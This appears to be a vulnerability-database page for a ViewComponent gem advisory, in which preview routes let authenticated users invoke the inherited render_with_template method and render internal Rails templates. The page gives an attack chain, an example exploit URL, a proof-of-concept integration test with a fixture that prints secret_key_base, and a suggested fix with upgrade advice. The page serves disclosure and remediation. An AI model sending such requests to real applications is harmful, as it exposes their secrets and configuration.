Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticated request to preview route
-
DeliveryURL path extracted as method name
-
Exploitpublic_send dispatches render_with_template (inherited, not validated)
-
Installtemplate and locals parameters from request captured
-
C2Rails render executes with attacker-supplied template path and locals
-
Executeinternal template rendered with access to secrets and config
-
Impactresponse returned with sensitive data exposed
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V8 - Authorization Insecure inherited permissions
|
| Exploitation Conditions | Authenticated access to the preview route endpoint (CVSS PR:L requirement met). Preview routes must be mounted and externally or internally accessible. The target ViewComponent preview class must inherit from ViewComponent::Preview (default behavior). The attacker must know or guess the name of an internal Rails template to render (e.g., common paths like internal/secret, admin/dashboard, or errors/500). No user interaction required. The vulnerability is not exploitable if preview routes are completely disabled, if access is restricted to localhost-only, or if authentication is enforced at the routing layer. The inherited render_with_template method exists in ViewComponent::Preview base class in all affected versions 3.0.0-4.8.x, so any preview route is potentially exploitable. |
| Impact | CVSS 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) indicates network-reachable information disclosure requiring authenticated access with high confidence impact. The requiring authentication (PR:L) significantly reduces real-world risk in scenarios where preview routes are developer-only, but poses critical risk if preview endpoints are exposed to untrusted users (e.g., shared development environment, misconfigured production with debug features enabled). The availability of working proof-of-concept code in the repository confirms the vulnerability is trivial to exploit once access is obtained. The CVSS severity assessment correctly distinguishes: High severity if previews are externally reachable (unauthenticated internet access), Medium if restricted to authenticated users. Exploitation is not automatable across arbitrary Rails applications due to template path dependency, but is fully automatable within a target that exposes preview routes. The risk is primarily information disclosure (config, secrets, debug partials) rather than code execution or service disruption. |
| Exploit ScenarioDerived | An authenticated user with access to a staging environment containing exposed preview routes crafts a request to /rails/view_components/my_component/render_with_template?template=internal/secret&locals[key]=value. The preview controller accepts the request, derives the method name render_with_template from the URL, and calls public_send without validating it is a declared preview example. The inherited render_with_template method receives the attacker-supplied template and locals from request params, renders the internal template with those values, and returns the response including secrets, config values, and environment details in the rendered HTML. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 09, 2026
ViewComponent preview routes allow authenticated attackers to invoke inherited helper methods including render_with_template, enabling rendering of internal Rails templates and exposure of secrets, configuration, and debug data not otherwise routable. The vulnerability requires authenticated access (CVSS PR:L) and affects versions 3.0.0 through 4.8.x; it is confirmed by proof-of-concept code in the vendor repository and requires preview routes to be externally exposed.
RemediationAI
Upgrade view_component gem to version 4.9.0 or later immediately. Apply this patch by updating the Gemfile to gem 'view_component', '~> 4.9.0' and running bundle update view_component. For installations that cannot immediately upgrade, restrict access to preview routes by adding authentication/authorization middleware to /rails/view_components/* paths, removing or disabling preview route mounting in production/shared environments, and auditing access logs for suspicious requests to preview endpoints with inherited method names (render_with_template, render, etc.). If preview functionality is not needed, remove ViewComponent::Preview mounting from Rails routes entirely or gate it behind strict IP whitelisting. Note that simply disabling preview routes eliminates the attack surface but may impact developer workflow.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in rubygems
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
ViewComponent is a Rails view rendering gem that provides a preview system for component development. The vulnerability exists in the preview dispatch mechanism (app/controllers/concerns/view_component/preview_actions.rb and lib/view_component/preview.rb) which uses Ruby's public_send to invoke preview example methods derived from URL path parameters. The code does not validate that the requested method is an explicitly declared preview example; instead it allows invocation of any public method inherited from the ViewComponent::Preview base class. The render_with_template method, inherited from the base class, accepts template and locals parameters that are passed directly to Rails render with no validation of the template path. This is a classic authorization bypass (CWE-277: Improper Access Control) where method enumeration is not enforced at the dispatch layer.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Primary rating from Vendor (https://github.com/ViewComponent/view_component) · only source for this CVE.
CVSS VectorVendor: https://github.com/ViewComponent/view_component
DescriptionCVE.org
Summary
The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.
As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.
If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.
Severity: High if preview routes are externally reachable; Medium otherwise.
Affected files:
lib/view_component/preview.rbapp/controllers/concerns/view_component/preview_actions.rbapp/views/view_components/preview.html.erb
Relevant Code
app/controllers/concerns/view_component/preview_actions.rb:
@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)lib/view_component/preview.rb:
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)app/views/view_components/preview.html.erb:
<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>The UI only lists direct preview methods via:
public_instance_methods(false).map(&:to_s).sortBut render_args does not enforce that list before dispatching.
Exploit Flow
Example request:
GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-requestFlow:
my_componentresolves to a valid preview.File.basename(params[:path])returnsrender_with_template.render_argscalls inheritedViewComponent::Preview#render_with_template.- Request params provide
template: "internal/secret"andlocals: {...}. - The preview view renders
internal/secretwith attacker-controlled locals.
Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.
PoC Test
This checkout already contains a PoC at:
test/sandbox/test/security_preview_template_poc_test.rbtest/sandbox/app/views/internal/secret.html.erb
The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.
If reproducing manually, run:
bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rbEquivalent standalone test:
# frozen_string_literal: true
require "test_helper"
class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
def setup
ViewComponent::Preview.__vc_load_previews
end
def test_preview_route_can_invoke_inherited_render_with_template
refute_includes MyComponentPreview.examples, "render_with_template"
assert_raises(ActionController::RoutingError) do
Rails.application.routes.recognize_path("/internal/secret")
end
get(
"/rails/view_components/my_component/render_with_template",
params: {
template: "internal/secret",
locals: {poc_local: "attacker-controlled-local"},
request_marker: "attacker-controlled-request"
}
)
assert_response :success
assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
end
endFixture template:
<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>Suggested Fix
Only dispatch explicitly declared preview examples:
def render_args(example, params: {})
example = example.to_s
raise AbstractController::ActionNotFound unless examples.include?(example)
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
result ||= {}
result[:template] = preview_example_template_path(example) if result[:template].nil?
@layout = nil unless defined?(@layout)
result.merge(layout: @layout)
endAdd a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
EUVD-2026-31972
GHSA-7f3r-gwc9-2995
NVD
CVE.org
EPSS
VulDB
Exploit-DB